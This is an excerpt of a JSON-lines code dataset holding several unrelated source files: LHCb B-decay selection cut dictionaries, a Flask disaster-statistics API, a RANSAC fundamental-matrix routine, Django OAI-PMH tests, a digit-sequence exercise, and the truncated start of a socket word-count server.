'ASUMPT_MIN' : '2000*MeV',\n 'VCHI2DOF_MAX' : 8,\n 'BPVVDCHI2_MIN' : 225,\n 'BPVIPCHI2_MAX' : 17,\n 'BPVDIRA_MIN' : 0.4,\n 'CORRM_MIN' : '4800*MeV',\n 'CORRM_MAX' : '6500*MeV',\n 'PTMU' : '900*MeV'\n },\n 'Photons': {\n 'PT_MIN' : '1300*MeV'\n },\n \"V0s\": { # Cuts for rho, K*, phi\n 'MASS_MIN' : {'KST':'700*MeV','RHO':'600*MeV','PHI':'900*MeV'},\n 'MASS_MAX' : {'KST':'1100*MeV','RHO':'1000*MeV','PHI':'1100*MeV'},\n 'DAUGHTERS' : {'PT_MIN':'100*MeV','P_MIN':'2000*MeV',\n 'MIPCHI2DV_MIN' : 4, 'TRCHI2DOF_MAX' : 4},\n 'AMAXDOCA_MAX' : '0.5*mm',\n 'VCHI2DOF_MAX' : 16,\n 'BPVVDCHI2_MIN' : 16,\n 'BPVDIRA_MIN' : 0,\n 'ASUMPT_MIN' : '1000*MeV'\n },\n \"B2X3BODY\" : {\n 'SUMPT_MIN' : '5000*MeV',\n 'VCHI2DOF_MAX' : 10,\n 'BPVIPCHI2_MAX' : 20,\n 'BPVVDCHI2_MIN' : 25,\n 'BPVDIRA_MIN' : 0.4, #0.0\n 'MASS_MIN' : {'B':'4300*MeV'},\n 'MASS_MAX' : {'B':'6400*MeV'},\n },\n \"B2X3BODYLOWM\" : {\n 'SUMPT_MIN' : '3900*MeV',\n 'VCHI2DOF_MAX' : 10,\n 'BPVIPCHI2_MAX' : 25,\n 'BPVVDCHI2_MIN' : 25,\n 'BPVDIRA_MIN' : 0.4, #0.0\n 'MASS_MIN' : {'J':'2600*MeV'},\n 'MASS_MAX' : {'J':'3600*MeV'},\n },\n \"B2X3BODYHIGHM\" : {\n 'SUMPT_MIN' : '5000*MeV',\n 'VCHI2DOF_MAX' : 10,\n 'BPVDIRA_MIN' : 0.0,\n 'MASS_MIN' : {'Y':'9000*MeV'},\n 'MASS_MAX' : {'Y':'10000*MeV'},\n },\n \"B2X4BODY\" : {\n 'SUMPT_MIN' : '5000*MeV',\n 'VCHI2DOF_MAX' : 10,\n 'BPVIPCHI2_MAX' : 25,\n 'BPVVDCHI2_MIN' : 25,\n 'BPVDIRA_MIN' : 0.0,\n 'MASS_MIN' : {'B':'4300*MeV'},\n 'MASS_MAX' : {'B':'6300*MeV'}\n },\n \"Prescales\" : {\n 'OS' : 1.0,\n 'SS' : 0.5\n },\n 'GECNTrkMax' : 500}\n }\n\n \n\n\n\nBd2MuMuKstarBDT = {\n 'BUILDERTYPE' : 'Bd2MuMuKstarBDTConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1. ,\n #\n 'ElectronPT' : 200. , # MeV\n 'ElectronTrackCHI2pNDOF' : 5. ,\n 'ElectronIPCHI2' : 1. ,\n 'ElectronPIDepi' : -5. , \n #\n 'eeVertexCHI2' : 16. , \n 'eeMinMass' : 20. , # MeV \n 'eeMaxMass' : 5200. , # MeV\n #\n 'KaonPT' : 400. , # MeV \n 'KaonP' : 3000. , # MeV \n 'KaonTrackCHI2pNDOF' : 5. , \n 'KaonIPCHI2' : 4. , \n 'KaonPIDKpi' : -5. , \n #\n 'PionPT' : 250. , # MeV\n 'PionP' : 2000. , # MeV \n 'PionTrackCHI2pNDOF' : 5. , \n 'PionIPCHI2' : 4. , \n 'PionPIDpiK' : 10. , # PIDpi-PIDK>-10, i.e., PIDK<10 \n #\n 'KstarVertexCHI2' : 16. , \n 'KstarMassW' : 150. , # MeV\n #\n 'BComMassW' : 1200. , # MeV\n 'BVertexCHI2' : 16. , # /ndf\n 'BMassW' : 1000. , # MeV \n 'BDIRA' : 0.999,\n 'BDTCutValue' : -0.98 ,\n 'BDTWeightsFile' : '$TMVAWEIGHTSROOT/data/Bd2eeKstar_BDTG_v1r0.xml'\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\nBd2MuMuKPiBDT = {\n 'BUILDERTYPE' : 'Bd2MuMuKstarBDTConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1. ,\n #\n 'ElectronPT' : 200. , # MeV\n 'ElectronTrackCHI2pNDOF' : 5. ,\n 'ElectronIPCHI2' : 1. ,\n 'ElectronPIDepi' : -5. , \n #\n 'eeVertexCHI2' : 16. , \n 'eeMinMass' : 20. , # MeV \n 'eeMaxMass' : 5200. , # MeV\n #\n 'KaonPT' : 400. , # MeV \n 'KaonP' : 3000. , # MeV \n 'KaonTrackCHI2pNDOF' : 5. , \n 'KaonIPCHI2' : 4. , \n 'KaonPIDKpi' : -5. , \n #\n 'PionPT' : 250. , # MeV\n 'PionP' : 2000. , # MeV \n 'PionTrackCHI2pNDOF' : 5. , \n 'PionIPCHI2' : 4. , \n 'PionPIDpiK' : 10. , # PIDpi-PIDK>-10, i.e., PIDK<10 \n #\n 'KstarVertexCHI2' : 16. , \n 'KstarMassW' : 1400. , # MeV\n #\n 'BComMassW' : 550. , # MeV\n 'BVertexCHI2' : 16. , # /ndf\n 'BMassW' : 500. , # MeV \n 'BDIRA' : 0.999,\n 'BDTCutValue' : -0.97 ,\n 'BDTWeightsFile' : '$TMVAWEIGHTSROOT/data/Bd2eeKstar_BDTG_v1r0.xml'\n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Dimuon' ]\n }\n\n\n#\n# Rare Decay Lines\n# \n# Hadronic lines\n\n# N. Serra, Vava\n\nB2XTau = {\n 'BUILDERTYPE' : 'B2XTauConf',\n 'STREAMS' : ['Bhadron'],\n 'WGs' : ['RD'] ,\n 'CONFIG' : {\n 'PT_HAD_ALL_FINAL_STATE' : '200', # MeV\n 'P_HAD_ALL_FINAL_STATE' : '2000', # MeV\n 'IPCHI2_HAD_ALL_FINAL_STATE' : '9', # dimensionless\n 'TRACKCHI2_HAD_ALL_FINAL_STATE' : '4', # dimensionless\n #\n 'PT_MU' : '800', # MeV\n 'P_MU' : '6000', # MeV \n 'IPCHI2_MU' : '16', # MeV \n #\n 'PT_B_TT' : '5000', # MeV\n 'PT_B_TT_HIGH' : '10000', # MeV \n 'PT_B_TM' : '2000', # MeV\n 'PT_B_TM_HIGH' : '7500', # MeV \n 'VCHI2_B' : '100', # dimensionless\n 'FDCHI2_B' : '144', # dimensionless\n 'DIRA_B' : '0.99', # dimensionless\n 'MASS_LOW_B' : '2000', # MeV \n 'MASS_HIGH_B' : '5750', # MeV\n 'MCOR_LOW_B' : '4000', # MeV\n 'MCOR_HIGH_B' : '7000', # MeV\n 'MIPCHI2_B' : '150', # dimensionless \n 'MIPCHI2_B_HIGH' : '36', # dimensionless \n #\n 'PT_TAU' : '1500', # MeV\n 'VCHI2_TAU' : '20', # dimensionless\n 'IPCHI2_TAU' : '9', # dimensionless\n 'FDCHI2_TAU' : '144', # dimensionless\n 'MASS_LOW_TAU' : '700', # MeV\n 'MASS_HIGH_TAU' : '1800', # MeV\n #\n 'PT_B_CHILD_BEST' : '1800', # MeV\n 'P_B_CHILD_BEST' : '10000',# MeV\n 'IPCHI2_B_CHILD_BEST' : '16', # dimensionless\n 'PT_B_TAU_CHILD_BEST' : '3000', # MeV\n 'IPCHI2_B_TAU_CHILD_BEST' : '16', # dimensionless\n #\n 'MASS_LOW_D' : '1800', # MeV\n 'MASS_HIGH_D' : '2030', # MeV \n #\n 'B2TauTau_TOSLinePrescale' : 1,\n 'B2TauTau_TOSLinePostscale' : 1,\n 'B2DD_TOSLinePrescale' : 1,\n 'B2DD_TOSLinePostscale' : 1,\n 'B2TauMu_TOSLinePrescale' : 1,\n 'B2TauMu_TOSLinePostscale' : 1,\n 'B2DMu_TOSLinePrescale' : 0.2,\n 'B2DMu_TOSLinePostscale' : 1,\n 'B2TauTau_TISLinePrescale' : 1,\n 'B2TauTau_TISLinePostscale' : 1,\n 'B2DD_TISLinePrescale' : 1,\n 'B2DD_TISLinePostscale' : 1,\n 'B2TauMu_TISLinePrescale' : 1,\n 'B2TauMu_TISLinePostscale' : 1,\n 'B2DMu_TISLinePrescale' : 0.2,\n 'B2DMu_TISLinePostscale' : 1.\n }\n }\n\n# \n# Rare Decay Lines \n#\n# Radiative stream\n\n#\n# b -> X gamma \n\nBeauty2XGamma = {\n 'BUILDERTYPE' : 'Beauty2XGamma',\n 'CONFIG' : {\n # Cuts made on all charged input particles in all lines\n \"ALL\" : { 'TRCHI2DOF_MAX' : 4,\n 'PT_MIN' : '250*MeV',\n 'P_MIN' : '1000*MeV',\n 'MIPCHI2DV_MIN' : 4 },\n # Cuts made on the photon\n \"GAMMA\" : { 'PT_MIN' : '2500*MeV',\n 'CL_MIN' : 0.25\n },\n # Cuts made on all K shorts\n \"KS0\" : { 'PT_MIN' : '250*MeV',\n 'BPVVDCHI2_MIN' : 36,\n 'MM_MIN' : '467.*MeV',\n 'MM_MAX' : '527.*MeV' },\n # Cuts made on all pi0's\n \"Pi0\" : { 'PT_MIN' : '1200*MeV',\n 'P_MIN' : '10000*MeV',\n 'CHILDCL1_MIN' : 0.25,\n 'CHILDCL2_MIN' : 0.25 },\n # Cuts made on all B's and Lb's used in all lines\n \"B2X\" : { 'SUMPT_MIN' : '4000*MeV',\n 'VCHI2DOF_MAX' : 15,\n 'BPVIPCHI2_MAX' : 15,\n 'BPVLTIME_MIN' : '0.2*ps',\n 'BPVDIRA_MIN' : 0.9998,\n 'AM_MIN' : '4000*MeV',\n 'AM_MAX' : '7000*MeV',\n 'B2CBBDT_MIN' : 0.00\n },\n # Cuts for rho, K*, phi, omega\n \"HH\": { 'MASS_WINDOW' : {'KST':'150*MeV',\n 'RHO':'250*MeV',\n 'PHI':'15*MeV',\n 'OMEGA':'30*MeV'},\n 'DAUGHTERS' : {'PT_MIN':'100*MeV','P_MIN':'2000*MeV'},\n 'LAMBDADAUGHTERS' : {'PT_MIN':'300*MeV','P_MIN':'2500*MeV'},\n 'AMAXDOCA_MAX' : '0.5*mm',\n 'VCHI2DOF_MAX' : 16,\n 'BPVVDCHI2_MIN' : 16,\n 'BPVDIRA_MIN' : 0.0,\n 'ASUMPT_MIN' : '1000*MeV',\n 'pP_MIN' : '10000*MeV' # for pH only (obviously)\n },\n # Cuts for PiPiPi0 for omega decay\n # \"HHH\": { 'MASS_WINDOW' : {'OMEGA': '30*MeV'},\n # 'KDAUGHTERS' : {'PT_MIN':'100*MeV',\n # 'P_MIN':'2000*MeV',\n # 'PIDK_MIN':'-5'},\n # 'PiDAUGHTERS' : {'PT_MIN':'100*MeV',\n # 'P_MIN':'2000*MeV',\n # 'PIDK_MAX':'10'},\n # 'pDAUGHTERS' : {'PT_MIN':'100*MeV',\n # 'P_MIN':'2000*MeV',\n # 'PIDp_MIN':'-5'},\n # 'AMAXDOCA_MAX' : '0.40*mm',\n # 'VCHI2DOF_MAX' : 8,\n # 'BPVVDCHI2_MIN' : 16, \n # 'BPVDIRA_MIN' : 0.98,\n # 'ASUMPT_MIN' : '1250*MeV',\n # 'MIPCHI2DV_MIN' : 0.0,\n # 'BPVVDRHO_MIN' : '0.1*mm',\n # 'BPVVDZ_MIN' : '2.0*mm',\n # 'PTMIN1' : '300*MeV'},\n # PID cuts\n \"PID\" : { 'P' : {'PIDp_MIN' : 0},\n 'PI' : {'PIDK_MAX' : 20},\n 'K' : {'PIDK_MIN' : -10} },\n \"Prescales\" : {},\n \"GECNTrkMax\" : 500}, \n 'WGs' : ['RD'],\n 'STREAMS' : [ 'Radiative' ] \n }\n\n\n#\n# Dielectron\n\nBd2JpsieeKstarBDT = {\n 'BUILDERTYPE' : 'Bd2eeKstarBDTConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1. ,\n #\n 'ElectronPT' : 200. , # MeV\n 'ElectronTrackCHI2pNDOF' : 5. ,\n 'ElectronIPCHI2' : 1. ,\n 'ElectronPIDepi' : -2. , \n #\n 'eeVertexCHI2' : 16. , \n 'eeMinMass' : 2200. , # MeV \n 'eeMaxMass' : 4200. , # MeV\n #\n 'KaonPT' : 400. , # MeV \n 'KaonP' : 3000. , # MeV \n 'KaonTrackCHI2pNDOF' : 5. , \n 'KaonIPCHI2' : 4. , \n 'KaonPIDKpi' : -5. , \n #\n 'PionPT' : 250. , # MeV\n 'PionP' : 2000. , # MeV \n 'PionTrackCHI2pNDOF' : 5. , \n 'PionIPCHI2' : 4. , \n 'PionPIDpiK' : 10. , # PIDpi-PIDK > -5, i.e., PIDK<5 \n #\n 'KstarVertexCHI2' : 16. , \n 'KstarMassW' : 150. , # MeV\n #\n 'BComMassW' : 1200. , # MeV\n 'BVertexCHI2' : 16. , # /ndf\n 'BMassW' : 1000. , # MeV \n 'BDIRA' : 0.999,\n 'BDTCutValue' : -0.98 ,\n 'BDTWeightsFile' : '$TMVAWEIGHTSROOT/data/Bd2eeKstar_BDTG_v1r0.xml' \n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Radiative' ]\n }\n\n\n\nBd2JpsieeKstar = {\n 'BUILDERTYPE' : 'Bd2eeKstarConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1. ,\n #\n 'ElectronPT' : 300. , # MeV\n 'ElectronTrackCHI2pNDOF' : 5. ,\n 'ElectronIPCHI2' : 2.25 ,\n 'ElectronPIDepi' : -2. , \n #\n 'eeVertexCHI2' : 16. , \n 'eeMinMass' : 2200. , # MeV \n 'eeMaxMass' : 4200. , # MeV\n 'eeFD' : 1. , # mm\n #\n 'KaonPT' : 400. , # MeV \n 'KaonP' : 3000. , # MeV \n 'KaonTrackCHI2pNDOF' : 5. , \n 'KaonIPCHI2' : 4. , \n 'KaonPIDKpi' : -5. , \n #\n 'PionPT' : 300. , # MeV\n 'PionP' : 3000. , # MeV \n 'PionTrackCHI2pNDOF' : 5. , \n 'PionIPCHI2' : 4. , \n 'PionPIDpiK' : 10. , # PIDpi-PIDK > -5, i.e., PIDK<5 \n #\n 'KstarVertexCHI2' : 16. , \n 'KstarMassW' : 130. , # MeV\n 'KstarIPCHI2' : 1. , \n 'KstarFDCHI2' : 1. , \n #\n 'BComMassW' : 1200. , # MeV\n 'BVertexCHI2' : 9. , # /ndf\n 'BMassW' : 1000. , # MeV \n 'BIPCHI2' : 64. , # pointing\n 'BFDCHI2' : 9. , \n 'BDIRA' : 0.999, \n 'SumIPSCut' : \" & (SUMTREE(((ABSID=='K+') | (ABSID=='pi-') | (ID=='e+') | (ID=='e-')),sqrt(BPVIPCHI2()))>15)\" \n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Radiative' ]\n }\n\n\nBd2eeKstarBDT = {\n 'BUILDERTYPE' : 'Bd2eeKstarBDTConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1. ,\n #\n 'ElectronPT' : 200. , # MeV\n 'ElectronTrackCHI2pNDOF' : 5. ,\n 'ElectronIPCHI2' : 1. ,\n 'ElectronPIDepi' : -2. , \n #\n 'eeVertexCHI2' : 16. , \n 'eeMinMass' : 20. , # MeV \n 'eeMaxMass' : 1500. , # MeV\n #\n 'KaonPT' : 400. , # MeV \n 'KaonP' : 3000. , # MeV \n 'KaonTrackCHI2pNDOF' : 5. , \n 'KaonIPCHI2' : 4. , \n 'KaonPIDKpi' : -5. , \n #\n 'PionPT' : 250. , # MeV\n 'PionP' : 2000. , # MeV \n 'PionTrackCHI2pNDOF' : 5. , \n 'PionIPCHI2' : 4. , \n 'PionPIDpiK' : 10. , # PIDpi-PIDK > -5, i.e., PIDK<5 \n #\n 'KstarVertexCHI2' : 16. , \n 'KstarMassW' : 150. , # MeV\n #\n 'BComMassW' : 1200. , # MeV\n 'BVertexCHI2' : 16. , # /ndf\n 'BMassW' : 1000. , # MeV \n 'BDIRA' : 0.999,\n 'BDTCutValue' : -0.98 ,\n 'BDTWeightsFile' : '$TMVAWEIGHTSROOT/data/Bd2eeKstar_BDTG_v1r0.xml' \n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Radiative' ]\n }\n\nBd2eeKstar = {\n 'BUILDERTYPE' : 'Bd2eeKstarConf',\n 'CONFIG' : {\n 'LinePrescale' : 1. ,\n 'LinePostscale' : 1. ,\n #\n 'ElectronPT' : 300. , # MeV\n 'ElectronTrackCHI2pNDOF' : 5. ,\n 'ElectronIPCHI2' : 2.25 ,\n 'ElectronPIDepi' : -2. , \n #\n 'eeVertexCHI2' : 16. , \n 'eeMinMass' : 20. , # MeV \n 'eeMaxMass' : 1500. , # MeV\n 'eeFD' : 1. , # mm\n #\n 'KaonPT' : 400. , # MeV \n 'KaonP' : 3000. , # MeV \n 'KaonTrackCHI2pNDOF' : 5. , \n 'KaonIPCHI2' : 4. , \n 'KaonPIDKpi' : -5. , \n #\n 'PionPT' : 300. , # MeV\n 'PionP' : 3000. , # MeV \n 'PionTrackCHI2pNDOF' : 5. , \n 'PionIPCHI2' : 4. , \n 'PionPIDpiK' : 10. , # PIDpi-PIDK > -5, i.e., PIDK<5 \n #\n 'KstarVertexCHI2' : 16. , \n 'KstarMassW' : 130. , # MeV\n 'KstarIPCHI2' : 1. , \n 'KstarFDCHI2' : 1. , \n #\n 'BComMassW' : 1200. , # MeV\n 'BVertexCHI2' : 9. , # /ndf\n 'BMassW' : 1000. , # MeV \n 'BIPCHI2' : 64. , # pointing\n 'BFDCHI2' : 9. , \n 'BDIRA' : 0.999, \n 'SumIPSCut' : \" & (SUMTREE(((ABSID=='K+') | (ABSID=='pi-') | (ID=='e+') | (ID=='e-')),sqrt(BPVIPCHI2()))>15)\" \n },\n 'WGs' : [ 'RD' ],\n 'STREAMS' : [ 'Radiative' ]\n }\n","sub_path":"Stripping/Phys/StrippingSettings/python/StrippingSettings/PreStripping18/LineConfigDictionaries_RD.py","file_name":"LineConfigDictionaries_RD.py","file_ext":"py","file_size_in_byte":35278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"604800930","text":"import os\n\nimport pandas as pd\nimport numpy as np\n\n# import sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify, render_template, request\nfrom flask_sqlalchemy import SQLAlchemy\n\n\napp = Flask(__name__)\n\n\n#################################################\n# Database Setup\n#################################################\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///db/femadata.sqlite\"\ndb = SQLAlchemy(app)\n# engine = create_engine(\"sqlite:///data/femadata.sqlite\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\n# Base.prepare(db.engine, reflect=True)\nBase.prepare(db.engine, reflect=True)\n\n# Save references to each table\n# Samples_Metadata = Base.classes.sample_metadata\n# Samples = Base.classes.samples\nAll_Events = Base.classes.all_events\nEvent_Deaths = Base.classes.events_deaths\nNmbr_Events = Base.classes.nmbr_events\nState_Abbrv = Base.classes.state_abbrv\n# print(Nmbr_Events)\n# print(db.session.query(Nmbr_Events.STATE).all())\n\n@app.route(\"/\")\ndef index():\n print(\"This should print in the console\")\n \"\"\"Return the homepage.\"\"\"\n return render_template(\"index.html\")\n\n@app.route(\"/api/disasters/\", methods=['GET'])\ndef disasters():\n # x = Base.classes.nmbr_events\n luState = request.args.get('state')\n\n print(db.session.query(Nmbr_Events.STATE).all())\n sel = [Nmbr_Events.STATE, Nmbr_Events.NMBR_EVENTS]\n # session = Session(engine)\n if not luState: # - an empty param luState will evaluate to True\n results = db.session.query(*sel).all() #.order_by(Nmbr_Events.STATE.desc()).all()\n else:\n # The must be a state to match on.\n results = db.session.query(*sel).filter(Nmbr_Events.STATE == luState).all()\n\n\n # session.close()\n\n print(results)\n\n all_results = []\n for s, e in results:\n results_dict = {}\n results_dict[\"state\"] = s\n results_dict[\"number_events\"] = e\n all_results.append(results_dict)\n \n return jsonify(all_results)\n\n\n \n\n@app.route(\"/pieinfo\" , methods=['GET'])\ndef pieinfo():\n #SELECT EVENT_TYPE, count(EVENT_TYPE) as NBR_EVENT FROM all_events\n #GROUP BY EVENT_TYPE;\n\n # Get the passed in state\n luState = request.args.get(\"state\")\n\n sel = [\n All_Events.EVENT_TYPE\n ]\n \n if not luState: # evaluates to true if luState is empty\n print('pieinfo: Is Empty')\n ttleventcounts = db.session.query(*sel, func.count(All_Events.EVENT_TYPE)).group_by(All_Events.EVENT_TYPE).all()\n else:\n print('pieinfo: NOT Empty')\n ttleventcounts = db.session.query(*sel, func.count(All_Events.EVENT_TYPE)).filter(All_Events.STATE == luState).group_by(All_Events.EVENT_TYPE).all()\n\n\n\n print(ttleventcounts)\n pieinfo = []\n for e, c in ttleventcounts:\n pie_dict = {}\n pie_dict[\"EVENT_TYPE\"] = e\n pie_dict[\"NBR_EVENT\"] = c\n pieinfo.append(pie_dict)\n \n return jsonify(pieinfo)\n\n@app.route(\"/lineinfo\", methods=['GET'])\ndef lineinfo():\n #SELECT YEAR, EVENT_TYPE, (SUM(DEATHS_DIRECT) + sum(DEATHS_INDIRECT)) as DEATHS FROM all_events\n #GROUP BY YEAR, EVENT_TYPE;\n\n \n luState = request.args.get('state')\n\n\n sel = [\n All_Events.YEAR,\n All_Events.EVENT_TYPE\n ]\n\n if not luState: # - an empty param luState will evaluate to True\n deathinfo = db.session.query(*sel, (func.sum(All_Events.DEATHS_DIRECT) + func.sum(All_Events.DEATHS_INDIRECT)).label(\"DEATHS\")).group_by(All_Events.YEAR, All_Events.EVENT_TYPE)\n else:\n deathinfo = db.session.query(*sel, (func.sum(All_Events.DEATHS_DIRECT) + func.sum(All_Events.DEATHS_INDIRECT)).label(\"DEATHS\")).filter(All_Events.STATE == luState).group_by(All_Events.YEAR, All_Events.EVENT_TYPE)\n\n print(deathinfo)\n\n lineinfo = []\n for year, t, d in deathinfo:\n deaths_dict = {}\n deaths_dict[\"YEAR\"] = year\n deaths_dict[\"EVENT_TYPE\"] = t\n deaths_dict[\"DEATHS\"] = d\n lineinfo.append(deaths_dict)\n\n # return jsonify(lineinfo)\n return jsonify(lineinfo)\n \n@app.route(\"/jnb1\")\ndef jnb1():\n print(\"This should return NOAA_Data.html\")\n \"\"\"Return the homepage.\"\"\"\n return render_template(\"NOAA_Data.html\")\n \n@app.route(\"/jnb2\")\ndef jnb2():\n print(\"This should return noaa_limited_load.html\")\n \"\"\"Return the homepage.\"\"\"\n return render_template(\"noaa_limited_load.html\")\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"NewProjectFiles/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"362362432","text":"def KiemTra(string):\n for i in range(0, len(string)):\n for j in range(i+1,len(string)):\n if int(string[j]) < int(string[i]):\n return 0\n return -1\n#=======================================\ndef main():\n string = input('Nhập vào một dãy số: ')\n if KiemTra(string) == 0:\n print('Dãy số không tăng dần')\n else:\n print('Dãy số tăng dần')\n#=======================================\nif __name__ == '__main__':\n main()\n\n","sub_path":"Bai60.py","file_name":"Bai60.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"325439885","text":"import numpy as np\nimport random\n\n\n# Find homography which map @x2 to @x1.\n#\n# Inputs:\n# @x1: point set 1. Point format: [y, x, 1]\n# @x2: point set 2. Point format: [y, x, 1]\n#\n# Return: Fundamental matrix from @x2 to @x1.\ndef GetFundamental(x1, x2):\n # (x1,x2 : n*3 arrays) using the 8 point algorithm\n n = x1.shape[0]\n if x2.shape[0] != n:\n raise ValueError(\"Number of points don't match.\")\n \n # build matrix for equations\n A = np.zeros((n,9))\n for i in range(n):\n A[i] = [x1[i,0]*x2[i,0], x1[i,0]*x2[i,1], x1[i,0]*x2[i,2],\n x1[i,1]*x2[i,0], x1[i,1]*x2[i,1], x1[i,1]*x2[i,2],\n x1[i,2]*x2[i,0], x1[i,2]*x2[i,1], x1[i,2]*x2[i,2] ]\n \n # compute linear least square solution\n U, S, Vt = np.linalg.svd(A)\n F = Vt[-1].reshape(3,3)\n \n # constrain F\n # make rank 2 by zeroing out last singular value\n U, S, Vt = np.linalg.svd(F)\n S[2] = 0\n F = np.dot(U, np.dot(np.diag(S), Vt))\n \n return F / F[2,2]\n\n# Implement RANSAC.\n#\n# Inputs:\n# @p1: point set 1.\n# @p2: point set 2.\n#\n# Return: Best fit fundamental matrix from @p2 to @p1.\ndef RANSAC(p1, p2):\n assert isinstance(p1, np.ndarray) and isinstance(p2, np.ndarray)\n assert p1.shape[0] == p2.shape[0]\n\n # Sample @n_samples pairs in each iteration.\n n_samples = int(p1.shape[0] * 0.1)\n # Total @n_iters iterations.\n outlier_ratio = 0.05\n n_iters = int(np.log(1 - 0.99) / np.log(1 - (1-outlier_ratio)**n_samples))\n inlier_threshold = 1e-3\n best_Fundamental = None\n best_inlier_ratio = 0.0\n best_inlier_idx = None\n for _ in range(n_iters):\n # Get sample pairs.\n rand_idx = random.sample(range(0, p1.shape[0]), n_samples)\n tmp_p1, tmp_p2 = p1[rand_idx], p2[rand_idx]\n\n # Get Fundamental\n F = GetFundamental(tmp_p1, tmp_p2)\n\n # Compute |x^T F x|^2 for all correspondences \n error = (np.diag(p1 @ F @ p2.T)) ** 2\n # Use square error.\n # error = np.sqrt(np.sum((p1 - map_p2) ** 2, axis=1))\n # Calculate inlier ratio according to the threshold.\n inlier_idx = np.where(error < inlier_threshold)\n inlier_num = len(inlier_idx[0])\n inlier_ratio = inlier_num / p1.shape[0]\n if inlier_ratio >= best_inlier_ratio:\n best_inlier_ratio = inlier_ratio\n best_Fundamental = F\n best_inlier_idx = inlier_idx\n return best_Fundamental, best_inlier_idx","sub_path":"HW04/ransac_F.py","file_name":"ransac_F.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"209538731","text":"# -*- encoding: utf-8 -*-\nimport pytest\nfrom django.urls.base import reverse\nimport xml.etree.ElementTree as ET\n\nfrom bpp.models import Rekord\n\n\n@pytest.mark.django_db\ndef test_proper_content_type(client):\n url = reverse(\"bpp:oai\")\n url += \"/oai-pmh-repository.xml?verb=Identify\"\n res = client.get(url)\n assert \"xml\" in res[\"Content-type\"]\n\n\ndef test_identify(wydawnictwo_ciagle, client):\n identify = reverse(\"bpp:oai\") + \"?verb=Identify\"\n res = client.get(identify)\n assert res.status_code == 200\n\n\n@pytest.fixture\ndef ksiazka(wydawnictwo_zwarte, ksiazka_polska) -> \"Wydawnictwo_Zwarte\":\n wydawnictwo_zwarte.charakter_formalny = ksiazka_polska\n wydawnictwo_zwarte.save()\n return wydawnictwo_zwarte\n\n\n@pytest.fixture\ndef artykul(wydawnictwo_ciagle, artykul_w_czasopismie):\n wydawnictwo_ciagle.charakter_formalny = artykul_w_czasopismie\n wydawnictwo_ciagle.save()\n return wydawnictwo_ciagle\n\n\ndef toXML(response):\n return ET.fromstring(response.content.decode(\"utf-8\"))\n\n\ndef test_listRecords(ksiazka, client):\n listRecords = reverse(\"bpp:oai\") + \"?verb=ListRecords&metadataPrefix=oai_dc\"\n res = client.get(listRecords)\n\n responseXml = ET.fromstring(res.content.decode(\"utf-8\"))\n assert \"Tytul Wydawnictwo\" in toXML(res)[2][0][1][0][1].text\n\n\ndef test_listRecords_status_korekty(\n ksiazka, client, uczelnia, przed_korekta, po_korekcie\n):\n uczelnia.ukryj_status_korekty_set.create(status_korekty=przed_korekta)\n\n ksiazka.status_korekty = przed_korekta\n ksiazka.save()\n\n listRecords = reverse(\"bpp:oai\") + \"?verb=ListRecords&metadataPrefix=oai_dc\"\n res = toXML(client.get(listRecords))\n\n with pytest.raises(IndexError):\n assert \"Tytul Wydawnictwo\" in res[2][0][1][0][1].text\n\n ksiazka.status_korekty = po_korekcie\n ksiazka.save()\n listRecords = reverse(\"bpp:oai\") + \"?verb=ListRecords&metadataPrefix=oai_dc\"\n res = toXML(client.get(listRecords))\n\n assert \"Tytul Wydawnictwo\" in res[2][0][1][0][1].text\n\n\ndef test_listRecords_no_queries_zwarte(ksiazka, client, django_assert_max_num_queries):\n listRecords = reverse(\"bpp:oai\") + \"?verb=ListRecords&metadataPrefix=oai_dc\"\n with django_assert_max_num_queries(5):\n res = client.get(listRecords)\n assert \"Tytul Wydawnictwo\" in toXML(res)[2][0][1][0][1].text\n\n\ndef test_listRecords_no_queries_ciagle(artykul, client, django_assert_max_num_queries):\n listRecords = reverse(\"bpp:oai\") + \"?verb=ListRecords&metadataPrefix=oai_dc\"\n with django_assert_max_num_queries(5):\n res = client.get(listRecords)\n assert \"Tytul Wydawnictwo\" in toXML(res)[2][0][1][0][1].text\n","sub_path":"src/bpp/tests/test_views/test_oai.py","file_name":"test_oai.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"356879647","text":"#!/usr/bin/python\n# description :A worker process map/reduce word from txt files.\n# author :Yuemin Li\n# python_version :2.7.6\n\nimport socket\nimport operator\nimport argparse\nimport threading\nimport pickle\nimport logging\n\nwordcount = {}\nlock = threading.Lock()\n\nclass master(threading.Thread):\n '''master thread updating a global wordcount dict.'''\n\n def __init__(self, server_ip, server_port):\n super(master, self).__init__()\n self.serversocket = None\n self.server_ip = server_ip\n self.server_port = server_port\n global wordcount\n \n def run(self):\n \n self.serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.serversocket.bind((self.server_ip, self.server_port))\n self.serversocket.listen(5)\n logging.info(\"server is listening on 